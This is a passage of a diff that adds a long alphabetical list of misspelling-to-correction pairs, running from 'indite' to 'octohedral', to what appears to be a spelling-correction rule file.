+  wrong = "indite" and right = "indict"
+  or
+  wrong = "individualy" and right = "individually"
+  or
+  wrong = "indpendent" and right = "independent"
+  or
+  wrong = "indpendently" and right = "independently"
+  or
+  wrong = "indulgue" and right = "indulge"
+  or
+  wrong = "indutrial" and right = "industrial"
+  or
+  wrong = "indviduals" and right = "individuals"
+  or
+  wrong = "inefficienty" and right = "inefficiently"
+  or
+  wrong = "inevatible" and right = "inevitable"
+  or
+  wrong = "inevitible" and right = "inevitable"
+  or
+  wrong = "inevititably" and right = "inevitably"
+  or
+  wrong = "infalability" and right = "infallibility"
+  or
+  wrong = "infallable" and right = "infallible"
+  or
+  wrong = "infectuous" and right = "infectious"
+  or
+  wrong = "infered" and right = "inferred"
+  or
+  wrong = "infilitrate" and right = "infiltrate"
+  or
+  wrong = "infilitrated" and right = "infiltrated"
+  or
+  wrong = "infilitration" and right = "infiltration"
+  or
+  wrong = "infinit" and right = "infinite"
+  or
+  wrong = "inflamation" and right = "inflammation"
+  or
+  wrong = "influencial" and right = "influential"
+  or
+  wrong = "influented" and right = "influenced"
+  or
+  wrong = "infomation" and right = "information"
+  or
+  wrong = "informtion" and right = "information"
+  or
+  wrong = "infrantryman" and right = "infantryman"
+  or
+  wrong = "infrigement" and right = "infringement"
+  or
+  wrong = "ingenius" and right = "ingenious"
+  or
+  wrong = "ingreediants" and right = "ingredients"
+  or
+  wrong = "inhabitans" and right = "inhabitants"
+  or
+  wrong = "inherantly" and right = "inherently"
+  or
+  wrong = "inheritage" and right = "heritage"
+  or
+  wrong = "inheritage" and right = "inheritance"
+  or
+  wrong = "inheritence" and right = "inheritance"
+  or
+  wrong = "inital" and right = "initial"
+  or
+  wrong = "initalize" and right = "initialize"
+  or
+  wrong = "initally" and right = "initially"
+  or
+  wrong = "initation" and right = "initiation"
+  or
+  wrong = "initiaitive" and right = "initiative"
+  or
+  wrong = "inlcuding" and right = "including"
+  or
+  wrong = "inmigrant" and right = "immigrant"
+  or
+  wrong = "inmigrants" and right = "immigrants"
+  or
+  wrong = "innoculated" and right = "inoculated"
+  or
+  wrong = "inocence" and right = "innocence"
+  or
+  wrong = "inofficial" and right = "unofficial"
+  or
+  wrong = "inot" and right = "into"
+  or
+  wrong = "inpeach" and right = "impeach"
+  or
+  wrong = "inpending" and right = "impending"
+  or
+  wrong = "inpenetrable" and right = "impenetrable"
+  or
+  wrong = "inpolite" and right = "impolite"
+  or
+  wrong = "inprisonment" and right = "imprisonment"
+  or
+  wrong = "inproving" and right = "improving"
+  or
+  wrong = "insectiverous" and right = "insectivorous"
+  or
+  wrong = "insensative" and right = "insensitive"
+  or
+  wrong = "inseperable" and right = "inseparable"
+  or
+  wrong = "insistance" and right = "insistence"
+  or
+  wrong = "insitution" and right = "institution"
+  or
+  wrong = "insitutions" and right = "institutions"
+  or
+  wrong = "inspite" and right = "inspire"
+  or
+  wrong = "instade" and right = "instead"
+  or
+  wrong = "instatance" and right = "instance"
+  or
+  wrong = "institue" and right = "institute"
+  or
+  wrong = "instuction" and right = "instruction"
+  or
+  wrong = "instuments" and right = "instruments"
+  or
+  wrong = "instutionalized" and right = "institutionalized"
+  or
+  wrong = "instutions" and right = "intuitions"
+  or
+  wrong = "insurence" and right = "insurance"
+  or
+  wrong = "intelectual" and right = "intellectual"
+  or
+  wrong = "inteligence" and right = "intelligence"
+  or
+  wrong = "inteligent" and right = "intelligent"
+  or
+  wrong = "intenational" and right = "international"
+  or
+  wrong = "intented" and right = "indented"
+  or
+  wrong = "intented" and right = "intended"
+  or
+  wrong = "intepretation" and right = "interpretation"
+  or
+  wrong = "intepretator" and right = "interpretor"
+  or
+  wrong = "interational" and right = "international"
+  or
+  wrong = "interbread" and right = "interbred"
+  or
+  wrong = "interbread" and right = "interbreed"
+  or
+  wrong = "interchangable" and right = "interchangeable"
+  or
+  wrong = "interchangably" and right = "interchangeably"
+  or
+  wrong = "intercontinential" and right = "intercontinental"
+  or
+  wrong = "intercontinetal" and right = "intercontinental"
+  or
+  wrong = "intered" and right = "interned"
+  or
+  wrong = "intered" and right = "interred"
+  or
+  wrong = "interelated" and right = "interrelated"
+  or
+  wrong = "interferance" and right = "interference"
+  or
+  wrong = "interfereing" and right = "interfering"
+  or
+  wrong = "intergrated" and right = "integrated"
+  or
+  wrong = "intergration" and right = "integration"
+  or
+  wrong = "interm" and right = "interim"
+  or
+  wrong = "internation" and right = "international"
+  or
+  wrong = "interpet" and right = "interpret"
+  or
+  wrong = "interrim" and right = "interim"
+  or
+  wrong = "interrugum" and right = "interregnum"
+  or
+  wrong = "intertaining" and right = "entertaining"
+  or
+  wrong = "interupt" and right = "interrupt"
+  or
+  wrong = "intervines" and right = "intervenes"
+  or
+  wrong = "intevene" and right = "intervene"
+  or
+  wrong = "intial" and right = "initial"
+  or
+  wrong = "intialize" and right = "initialize"
+  or
+  wrong = "intialized" and right = "initialized"
+  or
+  wrong = "intially" and right = "initially"
+  or
+  wrong = "intrduced" and right = "introduced"
+  or
+  wrong = "intrest" and right = "interest"
+  or
+  wrong = "introdued" and right = "introduced"
+  or
+  wrong = "intruduced" and right = "introduced"
+  or
+  wrong = "intrument" and right = "instrument"
+  or
+  wrong = "intrumental" and right = "instrumental"
+  or
+  wrong = "intruments" and right = "instruments"
+  or
+  wrong = "intrusted" and right = "entrusted"
+  or
+  wrong = "intutive" and right = "intuitive"
+  or
+  wrong = "intutively" and right = "intuitively"
+  or
+  wrong = "inudstry" and right = "industry"
+  or
+  wrong = "inumerable" and right = "enumerable"
+  or
+  wrong = "inumerable" and right = "innumerable"
+  or
+  wrong = "inventer" and right = "inventor"
+  or
+  wrong = "invertibrates" and right = "invertebrates"
+  or
+  wrong = "investingate" and right = "investigate"
+  or
+  wrong = "involvment" and right = "involvement"
+  or
+  wrong = "irelevent" and right = "irrelevant"
+  or
+  wrong = "iresistable" and right = "irresistible"
+  or
+  wrong = "iresistably" and right = "irresistibly"
+  or
+  wrong = "iresistible" and right = "irresistible"
+  or
+  wrong = "iresistibly" and right = "irresistibly"
+  or
+  wrong = "iritable" and right = "irritable"
+  or
+  wrong = "iritated" and right = "irritated"
+  or
+  wrong = "ironicly" and right = "ironically"
+  or
+  wrong = "irregardless" and right = "regardless"
+  or
+  wrong = "irrelevent" and right = "irrelevant"
+  or
+  wrong = "irreplacable" and right = "irreplaceable"
+  or
+  wrong = "irresistable" and right = "irresistible"
+  or
+  wrong = "irresistably" and right = "irresistibly"
+  or
+  wrong = "israelies" and right = "israelis"
+  or
+  wrong = "issueing" and right = "issuing"
+  or
+  wrong = "itnroduced" and right = "introduced"
+  or
+  wrong = "iunior" and right = "junior"
+  or
+  wrong = "iwll" and right = "will"
+  or
+  wrong = "iwth" and right = "with"
+  or
+  wrong = "janurary" and right = "january"
+  or
+  wrong = "januray" and right = "january"
+  or
+  wrong = "japanes" and right = "japanese"
+  or
+  wrong = "jaques" and right = "jacques"
+  or
+  wrong = "jeapardy" and right = "jeopardy"
+  or
+  wrong = "jewllery" and right = "jewellery"
+  or
+  wrong = "johanine" and right = "johannine"
+  or
+  wrong = "jorunal" and right = "journal"
+  or
+  wrong = "jospeh" and right = "joseph"
+  or
+  wrong = "jouney" and right = "journey"
+  or
+  wrong = "journied" and right = "journeyed"
+  or
+  wrong = "journies" and right = "journeys"
+  or
+  wrong = "jstu" and right = "just"
+  or
+  wrong = "jsut" and right = "just"
+  or
+  wrong = "juadaism" and right = "judaism"
+  or
+  wrong = "juadism" and right = "judaism"
+  or
+  wrong = "judical" and right = "judicial"
+  or
+  wrong = "judisuary" and right = "judiciary"
+  or
+  wrong = "juducial" and right = "judicial"
+  or
+  wrong = "juristiction" and right = "jurisdiction"
+  or
+  wrong = "juristictions" and right = "jurisdictions"
+  or
+  wrong = "kindergarden" and right = "kindergarten"
+  or
+  wrong = "klenex" and right = "kleenex"
+  or
+  wrong = "knifes" and right = "knives"
+  or
+  wrong = "knive" and right = "knife"
+  or
+  wrong = "knowlege" and right = "knowledge"
+  or
+  wrong = "knowlegeable" and right = "knowledgeable"
+  or
+  wrong = "knwo" and right = "know"
+  or
+  wrong = "knwos" and right = "knows"
+  or
+  wrong = "konw" and right = "know"
+  or
+  wrong = "konws" and right = "knows"
+  or
+  wrong = "kwno" and right = "know"
+  or
+  wrong = "labatory" and right = "laboratory"
+  or
+  wrong = "labatory" and right = "lavatory"
+  or
+  wrong = "labled" and right = "labeled"
+  or
+  wrong = "labled" and right = "labelled"
+  or
+  wrong = "labratory" and right = "laboratory"
+  or
+  wrong = "laguage" and right = "language"
+  or
+  wrong = "laguages" and right = "languages"
+  or
+  wrong = "langage" and right = "language"
+  or
+  wrong = "langauge" and right = "language"
+  or
+  wrong = "larg" and right = "large"
+  or
+  wrong = "largst" and right = "largest"
+  or
+  wrong = "larrry" and right = "larry"
+  or
+  wrong = "lastr" and right = "last"
+  or
+  wrong = "lattitude" and right = "latitude"
+  or
+  wrong = "launchs" and right = "launch"
+  or
+  wrong = "launchs" and right = "launches"
+  or
+  wrong = "launhed" and right = "launched"
+  or
+  wrong = "lavae" and right = "larvae"
+  or
+  wrong = "layed" and right = "laid"
+  or
+  wrong = "lazyness" and right = "laziness"
+  or
+  wrong = "leage" and right = "league"
+  or
+  wrong = "leanr" and right = "lean"
+  or
+  wrong = "leanr" and right = "leaner"
+  or
+  wrong = "leanr" and right = "learn"
+  or
+  wrong = "leathal" and right = "lethal"
+  or
+  wrong = "lefted" and right = "left"
+  or
+  wrong = "legitamate" and right = "legitimate"
+  or
+  wrong = "legitmate" and right = "legitimate"
+  or
+  wrong = "leibnitz" and right = "leibniz"
+  or
+  wrong = "lengh" and right = "length"
+  or
+  wrong = "lenght" and right = "length"
+  or
+  wrong = "lengt" and right = "length"
+  or
+  wrong = "lenth" and right = "length"
+  or
+  wrong = "leran" and right = "learn"
+  or
+  wrong = "lerans" and right = "learns"
+  or
+  wrong = "leutenant" and right = "lieutenant"
+  or
+  wrong = "levetate" and right = "levitate"
+  or
+  wrong = "levetated" and right = "levitated"
+  or
+  wrong = "levetates" and right = "levitates"
+  or
+  wrong = "levetating" and right = "levitating"
+  or
+  wrong = "levle" and right = "level"
+  or
+  wrong = "liasion" and right = "liaison"
+  or
+  wrong = "liason" and right = "liaison"
+  or
+  wrong = "liasons" and right = "liaisons"
+  or
+  wrong = "libaries" and right = "libraries"
+  or
+  wrong = "libary" and right = "library"
+  or
+  wrong = "libell" and right = "libel"
+  or
+  wrong = "libguistic" and right = "linguistic"
+  or
+  wrong = "libguistics" and right = "linguistics"
+  or
+  wrong = "libitarianisn" and right = "libertarianism"
+  or
+  wrong = "lible" and right = "liable"
+  or
+  wrong = "lible" and right = "libel"
+  or
+  wrong = "lieing" and right = "lying"
+  or
+  wrong = "liek" and right = "like"
+  or
+  wrong = "liekd" and right = "liked"
+  or
+  wrong = "liesure" and right = "leisure"
+  or
+  wrong = "lieuenant" and right = "lieutenant"
+  or
+  wrong = "lieved" and right = "lived"
+  or
+  wrong = "liftime" and right = "lifetime"
+  or
+  wrong = "likelyhood" and right = "likelihood"
+  or
+  wrong = "linnaena" and right = "linnaean"
+  or
+  wrong = "lippizaner" and right = "lipizzaner"
+  or
+  wrong = "liquify" and right = "liquefy"
+  or
+  wrong = "liscense" and right = "licence"
+  or
+  wrong = "liscense" and right = "license"
+  or
+  wrong = "lisence" and right = "licence"
+  or
+  wrong = "lisence" and right = "license"
+  or
+  wrong = "lisense" and right = "licence"
+  or
+  wrong = "lisense" and right = "license"
+  or
+  wrong = "listners" and right = "listeners"
+  or
+  wrong = "litature" and right = "literature"
+  or
+  wrong = "literaly" and right = "literally"
+  or
+  wrong = "literture" and right = "literature"
+  or
+  wrong = "littel" and right = "little"
+  or
+  wrong = "litterally" and right = "literally"
+  or
+  wrong = "liuke" and right = "like"
+  or
+  wrong = "livley" and right = "lively"
+  or
+  wrong = "lmits" and right = "limits"
+  or
+  wrong = "loev" and right = "love"
+  or
+  wrong = "lonelyness" and right = "loneliness"
+  or
+  wrong = "longitudonal" and right = "longitudinal"
+  or
+  wrong = "lonley" and right = "lonely"
+  or
+  wrong = "lonly" and right = "lonely"
+  or
+  wrong = "lonly" and right = "only"
+  or
+  wrong = "loosing" and right = "losing"
+  or
+  wrong = "lotharingen" and right = "lothringen"
+  or
+  wrong = "lsat" and right = "last"
+  or
+  wrong = "lukid" and right = "likud"
+  or
+  wrong = "lveo" and right = "love"
+  or
+  wrong = "lvoe" and right = "love"
+  or
+  wrong = "lybia" and right = "libya"
+  or
+  wrong = "maching" and right = "machine"
+  or
+  wrong = "maching" and right = "marching"
+  or
+  wrong = "maching" and right = "matching"
+  or
+  wrong = "mackeral" and right = "mackerel"
+  or
+  wrong = "magasine" and right = "magazine"
+  or
+  wrong = "magincian" and right = "magician"
+  or
+  wrong = "magisine" and right = "magazine"
+  or
+  wrong = "magizine" and right = "magazine"
+  or
+  wrong = "magnificient" and right = "magnificent"
+  or
+  wrong = "magolia" and right = "magnolia"
+  or
+  wrong = "mailny" and right = "mainly"
+  or
+  wrong = "maintainance" and right = "maintenance"
+  or
+  wrong = "maintainence" and right = "maintenance"
+  or
+  wrong = "maintance" and right = "maintenance"
+  or
+  wrong = "maintenence" and right = "maintenance"
+  or
+  wrong = "maintinaing" and right = "maintaining"
+  or
+  wrong = "maintioned" and right = "mentioned"
+  or
+  wrong = "majoroty" and right = "majority"
+  or
+  wrong = "maked" and right = "made"
+  or
+  wrong = "maked" and right = "marked"
+  or
+  wrong = "makse" and right = "makes"
+  or
+  wrong = "malcom" and right = "malcolm"
+  or
+  wrong = "maltesian" and right = "maltese"
+  or
+  wrong = "mamal" and right = "mammal"
+  or
+  wrong = "mamalian" and right = "mammalian"
+  or
+  wrong = "managable" and right = "manageable"
+  or
+  wrong = "managable" and right = "manageably"
+  or
+  wrong = "managment" and right = "management"
+  or
+  wrong = "maneouvre" and right = "manoeuvre"
+  or
+  wrong = "maneouvred" and right = "manoeuvred"
+  or
+  wrong = "maneouvres" and right = "manoeuvres"
+  or
+  wrong = "maneouvring" and right = "manoeuvring"
+  or
+  wrong = "manisfestations" and right = "manifestations"
+  or
+  wrong = "manoeuverability" and right = "maneuverability"
+  or
+  wrong = "manouver" and right = "maneuver"
+  or
+  wrong = "manouver" and right = "manoeuvre"
+  or
+  wrong = "manouverability" and right = "maneuverability"
+  or
+  wrong = "manouverability" and right = "manoeuverability"
+  or
+  wrong = "manouverability" and right = "manoeuvrability"
+  or
+  wrong = "manouverable" and right = "maneuverable"
+  or
+  wrong = "manouverable" and right = "manoeuvrable"
+  or
+  wrong = "manouvers" and right = "maneuvers"
+  or
+  wrong = "manouvers" and right = "manoeuvres"
+  or
+  wrong = "mantained" and right = "maintained"
+  or
+  wrong = "manuever" and right = "maneuver"
+  or
+  wrong = "manuever" and right = "manoeuvre"
+  or
+  wrong = "manuevers" and right = "maneuvers"
+  or
+  wrong = "manuevers" and right = "manoeuvres"
+  or
+  wrong = "manufacturedd" and right = "manufactured"
+  or
+  wrong = "manufature" and right = "manufacture"
+  or
+  wrong = "manufatured" and right = "manufactured"
+  or
+  wrong = "manufaturing" and right = "manufacturing"
+  or
+  wrong = "manuver" and right = "maneuver"
+  or
+  wrong = "mariage" and right = "marriage"
+  or
+  wrong = "marjority" and right = "majority"
+  or
+  wrong = "markes" and right = "marks"
+  or
+  wrong = "marketting" and right = "marketing"
+  or
+  wrong = "marmelade" and right = "marmalade"
+  or
+  wrong = "marrage" and right = "marriage"
+  or
+  wrong = "marraige" and right = "marriage"
+  or
+  wrong = "marrtyred" and right = "martyred"
+  or
+  wrong = "marryied" and right = "married"
+  or
+  wrong = "massachussets" and right = "massachusetts"
+  or
+  wrong = "massachussetts" and right = "massachusetts"
+  or
+  wrong = "masterbation" and right = "masturbation"
+  or
+  wrong = "mataphysical" and right = "metaphysical"
+  or
+  wrong = "materalists" and right = "materialist"
+  or
+  wrong = "mathamatics" and right = "mathematics"
+  or
+  wrong = "mathematican" and right = "mathematician"
+  or
+  wrong = "mathematicas" and right = "mathematics"
+  or
+  wrong = "matheticians" and right = "mathematicians"
+  or
+  wrong = "mathmatically" and right = "mathematically"
+  or
+  wrong = "mathmatician" and right = "mathematician"
+  or
+  wrong = "mathmaticians" and right = "mathematicians"
+  or
+  wrong = "mccarthyst" and right = "mccarthyist"
+  or
+  wrong = "mchanics" and right = "mechanics"
+  or
+  wrong = "meaninng" and right = "meaning"
+  or
+  wrong = "mear" and right = "mare"
+  or
+  wrong = "mear" and right = "mere"
+  or
+  wrong = "mear" and right = "wear"
+  or
+  wrong = "mechandise" and right = "merchandise"
+  or
+  wrong = "medacine" and right = "medicine"
+  or
+  wrong = "medeival" and right = "medieval"
+  or
+  wrong = "medevial" and right = "medieval"
+  or
+  wrong = "mediciney" and right = "mediciny"
+  or
+  wrong = "medievel" and right = "medieval"
+  or
+  wrong = "mediterainnean" and right = "mediterranean"
+  or
+  wrong = "mediteranean" and right = "mediterranean"
+  or
+  wrong = "meerkrat" and right = "meerkat"
+  or
+  wrong = "melieux" and right = "milieux"
+  or
+  wrong = "membranaphone" and right = "membranophone"
+  or
+  wrong = "memeber" and right = "member"
+  or
+  wrong = "menally" and right = "mentally"
+  or
+  wrong = "meranda" and right = "miranda"
+  or
+  wrong = "meranda" and right = "veranda"
+  or
+  wrong = "mercentile" and right = "mercantile"
+  or
+  wrong = "mesage" and right = "message"
+  or
+  wrong = "messanger" and right = "messenger"
+  or
+  wrong = "messenging" and right = "messaging"
+  or
+  wrong = "messsage" and right = "message"
+  or
+  wrong = "metalic" and right = "metallic"
+  or
+  wrong = "metalurgic" and right = "metallurgic"
+  or
+  wrong = "metalurgical" and right = "metallurgical"
+  or
+  wrong = "metalurgy" and right = "metallurgy"
+  or
+  wrong = "metamorphysis" and right = "metamorphosis"
+  or
+  wrong = "metaphoricial" and right = "metaphorical"
+  or
+  wrong = "meterologist" and right = "meteorologist"
+  or
+  wrong = "meterology" and right = "meteorology"
+  or
+  wrong = "methaphor" and right = "metaphor"
+  or
+  wrong = "methaphors" and right = "metaphors"
+  or
+  wrong = "michagan" and right = "michigan"
+  or
+  wrong = "micoscopy" and right = "microscopy"
+  or
+  wrong = "midwifes" and right = "midwives"
+  or
+  wrong = "mileau" and right = "milieu"
+  or
+  wrong = "milennia" and right = "millennia"
+  or
+  wrong = "milennium" and right = "millennium"
+  or
+  wrong = "mileu" and right = "milieu"
+  or
+  wrong = "miliary" and right = "military"
+  or
+  wrong = "miligram" and right = "milligram"
+  or
+  wrong = "milion" and right = "million"
+  or
+  wrong = "miliraty" and right = "military"
+  or
+  wrong = "millenia" and right = "millennia"
+  or
+  wrong = "millenial" and right = "millennial"
+  or
+  wrong = "millenialism" and right = "millennialism"
+  or
+  wrong = "millenium" and right = "millennium"
+  or
+  wrong = "millepede" and right = "millipede"
+  or
+  wrong = "millioniare" and right = "millionaire"
+  or
+  wrong = "millitant" and right = "militant"
+  or
+  wrong = "millitary" and right = "military"
+  or
+  wrong = "millon" and right = "million"
+  or
+  wrong = "miltary" and right = "military"
+  or
+  wrong = "minature" and right = "miniature"
+  or
+  wrong = "minerial" and right = "mineral"
+  or
+  wrong = "ministery" and right = "ministry"
+  or
+  wrong = "minsitry" and right = "ministry"
+  or
+  wrong = "minstries" and right = "ministries"
+  or
+  wrong = "minstry" and right = "ministry"
+  or
+  wrong = "minumum" and right = "minimum"
+  or
+  wrong = "mirrorred" and right = "mirrored"
+  or
+  wrong = "miscelaneous" and right = "miscellaneous"
+  or
+  wrong = "miscellanious" and right = "miscellaneous"
+  or
+  wrong = "miscellanous" and right = "miscellaneous"
+  or
+  wrong = "mischeivous" and right = "mischievous"
+  or
+  wrong = "mischevious" and right = "mischievous"
+  or
+  wrong = "mischievious" and right = "mischievous"
+  or
+  wrong = "misdameanor" and right = "misdemeanor"
+  or
+  wrong = "misdameanors" and right = "misdemeanors"
+  or
+  wrong = "misdemenor" and right = "misdemeanor"
+  or
+  wrong = "misdemenors" and right = "misdemeanors"
+  or
+  wrong = "misfourtunes" and right = "misfortunes"
+  or
+  wrong = "misile" and right = "missile"
+  or
+  wrong = "misouri" and right = "missouri"
+  or
+  wrong = "mispell" and right = "misspell"
+  or
+  wrong = "mispelled" and right = "misspelled"
+  or
+  wrong = "mispelling" and right = "misspelling"
+  or
+  wrong = "missen" and right = "mizzen"
+  or
+  wrong = "missisipi" and right = "mississippi"
+  or
+  wrong = "missisippi" and right = "mississippi"
+  or
+  wrong = "missle" and right = "missile"
+  or
+  wrong = "missonary" and right = "missionary"
+  or
+  wrong = "misterious" and right = "mysterious"
+  or
+  wrong = "mistery" and right = "mystery"
+  or
+  wrong = "misteryous" and right = "mysterious"
+  or
+  wrong = "mkae" and right = "make"
+  or
+  wrong = "mkaes" and right = "makes"
+  or
+  wrong = "mkaing" and right = "making"
+  or
+  wrong = "mkea" and right = "make"
+  or
+  wrong = "moderm" and right = "modem"
+  or
+  wrong = "modle" and right = "model"
+  or
+  wrong = "moent" and right = "moment"
+  or
+  wrong = "moeny" and right = "money"
+  or
+  wrong = "mohammedans" and right = "muslims"
+  or
+  wrong = "moil" and right = "mohel"
+  or
+  wrong = "moil" and right = "soil"
+  or
+  wrong = "moleclues" and right = "molecules"
+  or
+  wrong = "momento" and right = "memento"
+  or
+  wrong = "monestaries" and right = "monasteries"
+  or
+  wrong = "monestary" and right = "monastery"
+  or
+  wrong = "monestary" and right = "monetary"
+  or
+  wrong = "monickers" and right = "monikers"
+  or
+  wrong = "monolite" and right = "monolithic"
+  or
+  wrong = "monserrat" and right = "montserrat"
+  or
+  wrong = "montains" and right = "mountains"
+  or
+  wrong = "montanous" and right = "mountainous"
+  or
+  wrong = "montnana" and right = "montana"
+  or
+  wrong = "monts" and right = "months"
+  or
+  wrong = "montypic" and right = "monotypic"
+  or
+  wrong = "moreso" and right = "more"
+  or
+  wrong = "morgage" and right = "mortgage"
+  or
+  wrong = "morisette" and right = "morissette"
+  or
+  wrong = "morrisette" and right = "morissette"
+  or
+  wrong = "morroccan" and right = "moroccan"
+  or
+  wrong = "morrocco" and right = "morocco"
+  or
+  wrong = "morroco" and right = "morocco"
+  or
+  wrong = "mortage" and right = "mortgage"
+  or
+  wrong = "mosture" and right = "moisture"
+  or
+  wrong = "motiviated" and right = "motivated"
+  or
+  wrong = "mounth" and right = "month"
+  or
+  wrong = "movei" and right = "movie"
+  or
+  wrong = "movment" and right = "movement"
+  or
+  wrong = "mroe" and right = "more"
+  or
+  wrong = "mucuous" and right = "mucous"
+  or
+  wrong = "muder" and right = "murder"
+  or
+  wrong = "mudering" and right = "murdering"
+  or
+  wrong = "muhammadan" and right = "muslim"
+  or
+  wrong = "multicultralism" and right = "multiculturalism"
+  or
+  wrong = "multipled" and right = "multiplied"
+  or
+  wrong = "multiplers" and right = "multipliers"
+  or
+  wrong = "munbers" and right = "numbers"
+  or
+  wrong = "muncipalities" and right = "municipalities"
+  or
+  wrong = "muncipality" and right = "municipality"
+  or
+  wrong = "munnicipality" and right = "municipality"
+  or
+  wrong = "muscels" and right = "muscles"
+  or
+  wrong = "muscels" and right = "mussels"
+  or
+  wrong = "muscial" and right = "musical"
+  or
+  wrong = "muscician" and right = "musician"
+  or
+  wrong = "muscicians" and right = "musicians"
+  or
+  wrong = "mutiliated" and right = "mutilated"
+  or
+  wrong = "mutiple" and right = "multiple"
+  or
+  wrong = "myraid" and right = "myriad"
+  or
+  wrong = "mysef" and right = "myself"
+  or
+  wrong = "mysogynist" and right = "misogynist"
+  or
+  wrong = "mysogyny" and right = "misogyny"
+  or
+  wrong = "mysterous" and right = "mysterious"
+  or
+  wrong = "mythraic" and right = "mithraic"
+  or
+  wrong = "naieve" and right = "naive"
+  or
+  wrong = "naploeon" and right = "napoleon"
+  or
+  wrong = "napolean" and right = "napoleon"
+  or
+  wrong = "napoleonian" and right = "napoleonic"
+  or
+  wrong = "naturaly" and right = "naturally"
+  or
+  wrong = "naturely" and right = "naturally"
+  or
+  wrong = "naturual" and right = "natural"
+  or
+  wrong = "naturually" and right = "naturally"
+  or
+  wrong = "nazereth" and right = "nazareth"
+  or
+  wrong = "neccesarily" and right = "necessarily"
+  or
+  wrong = "neccesary" and right = "necessary"
+  or
+  wrong = "neccessarily" and right = "necessarily"
+  or
+  wrong = "neccessary" and right = "necessary"
+  or
+  wrong = "neccessities" and right = "necessities"
+  or
+  wrong = "necesarily" and right = "necessarily"
+  or
+  wrong = "necesary" and right = "necessary"
+  or
+  wrong = "necessiate" and right = "necessitate"
+  or
+  wrong = "neglible" and right = "negligible"
+  or
+  wrong = "negligable" and right = "negligible"
+  or
+  wrong = "negociate" and right = "negotiate"
+  or
+  wrong = "negociation" and right = "negotiation"
+  or
+  wrong = "negociations" and right = "negotiations"
+  or
+  wrong = "negotation" and right = "negotiation"
+  or
+  wrong = "neice" and right = "nice"
+  or
+  wrong = "neice" and right = "niece"
+  or
+  wrong = "neigborhood" and right = "neighborhood"
+  or
+  wrong = "neigbour" and right = "neighbor"
+  or
+  wrong = "neigbour" and right = "neighbour"
+  or
+  wrong = "neigbourhood" and right = "neighbourhood"
+  or
+  wrong = "neigbouring" and right = "neighboring"
+  or
+  wrong = "neigbouring" and right = "neighbouring"
+  or
+  wrong = "neigbours" and right = "neighbors"
+  or
+  wrong = "neigbours" and right = "neighbours"
+  or
+  wrong = "neolitic" and right = "neolithic"
+  or
+  wrong = "nessasarily" and right = "necessarily"
+  or
+  wrong = "nessecary" and right = "necessary"
+  or
+  wrong = "nestin" and right = "nesting"
+  or
+  wrong = "neverthless" and right = "nevertheless"
+  or
+  wrong = "newletters" and right = "newsletters"
+  or
+  wrong = "nickle" and right = "nickel"
+  or
+  wrong = "nightime" and right = "nighttime"
+  or
+  wrong = "nineth" and right = "ninth"
+  or
+  wrong = "ninteenth" and right = "nineteenth"
+  or
+  wrong = "ninty" and right = "ninety"
+  or
+  wrong = "nkow" and right = "know"
+  or
+  wrong = "nkwo" and right = "know"
+  or
+  wrong = "nmae" and right = "name"
+  or
+  wrong = "noncombatents" and right = "noncombatants"
+  or
+  wrong = "nonsence" and right = "nonsense"
+  or
+  wrong = "nontheless" and right = "nonetheless"
+  or
+  wrong = "norhern" and right = "northern"
+  or
+  wrong = "northen" and right = "northern"
+  or
+  wrong = "northereastern" and right = "northeastern"
+  or
+  wrong = "notabley" and right = "notably"
+  or
+  wrong = "noteable" and right = "notable"
+  or
+  wrong = "noteably" and right = "notably"
+  or
+  wrong = "noteriety" and right = "notoriety"
+  or
+  wrong = "noth" and right = "north"
+  or
+  wrong = "nothern" and right = "northern"
+  or
+  wrong = "noticable" and right = "noticeable"
+  or
+  wrong = "noticably" and right = "noticeably"
+  or
+  wrong = "notications" and right = "notifications"
+  or
+  wrong = "noticeing" and right = "noticing"
+  or
+  wrong = "noticible" and right = "noticeable"
+  or
+  wrong = "notwhithstanding" and right = "notwithstanding"
+  or
+  wrong = "noveau" and right = "nouveau"
+  or
+  wrong = "novermber" and right = "november"
+  or
+  wrong = "nowdays" and right = "nowadays"
+  or
+  wrong = "nowe" and right = "now"
+  or
+  wrong = "nto" and right = "not"
+  or
+  wrong = "nubmer" and right = "number"
+  or
+  wrong = "nucular" and right = "nuclear"
+  or
+  wrong = "nuculear" and right = "nuclear"
+  or
+  wrong = "nuisanse" and right = "nuisance"
+  or
+  wrong = "nullabour" and right = "nullarbor"
+  or
+  wrong = "numberous" and right = "numerous"
+  or
+  wrong = "nuremburg" and right = "nuremberg"
+  or
+  wrong = "nusance" and right = "nuisance"
+  or
+  wrong = "nutritent" and right = "nutrient"
+  or
+  wrong = "nutritents" and right = "nutrients"
+  or
+  wrong = "nuturing" and right = "nurturing"
+  or
+  wrong = "obect" and right = "object"
+  or
+  wrong = "obediance" and right = "obedience"
+  or
+  wrong = "obediant" and right = "obedient"
+  or
+  wrong = "obejct" and right = "object"
+  or
+  wrong = "obession" and right = "obsession"
+  or
+  wrong = "obssessed" and right = "obsessed"
+  or
+  wrong = "obstacal" and right = "obstacle"
+  or
+  wrong = "obstancles" and right = "obstacles"
+  or
+  wrong = "obstruced" and right = "obstructed"
+  or
+  wrong = "ocasion" and right = "occasion"
+  or
+  wrong = "ocasional" and right = "occasional"
+  or
+  wrong = "ocasionally" and right = "occasionally"
+  or
+  wrong = "ocasionaly" and right = "occasionally"
+  or
+  wrong = "ocasioned" and right = "occasioned"
+  or
+  wrong = "ocasions" and right = "occasions"
+  or
+  wrong = "ocassion" and right = "occasion"
+  or
+  wrong = "ocassional" and right = "occasional"
+  or
+  wrong = "ocassionally" and right = "occasionally"
+  or
+  wrong = "ocassionaly" and right = "occasionally"
+  or
+  wrong = "ocassioned" and right = "occasioned"
+  or
+  wrong = "ocassions" and right = "occasions"
+  or
+  wrong = "occaison" and right = "occasion"
+  or
+  wrong = "occassion" and right = "occasion"
+  or
+  wrong = "occassional" and right = "occasional"
+  or
+  wrong = "occassionally" and right = "occasionally"
+  or
+  wrong = "occassionaly" and right = "occasionally"
+  or
+  wrong = "occassioned" and right = "occasioned"
+  or
+  wrong = "occassions" and right = "occasions"
+  or
+  wrong = "occationally" and right = "occasionally"
+  or
+  wrong = "occour" and right = "occur"
+  or
+  wrong = "occurance" and right = "occurrence"
+  or
+  wrong = "occurances" and right = "occurrences"
+  or
+  wrong = "occured" and right = "occurred"
+  or
+  wrong = "occurence" and right = "occurrence"
+  or
+  wrong = "occurences" and right = "occurrences"
+  or
+  wrong = "occuring" and right = "occurring"
+  or
+  wrong = "occurr" and right = "occur"
+  or
+  wrong = "occurrance" and right = "occurrence"
+  or
+  wrong = "occurrances" and right = "occurrences"
+  or
+  wrong = "octohedra" and right = "octahedra"
+  or
+  wrong = "octohedral" and right = "octahedral"
+  or
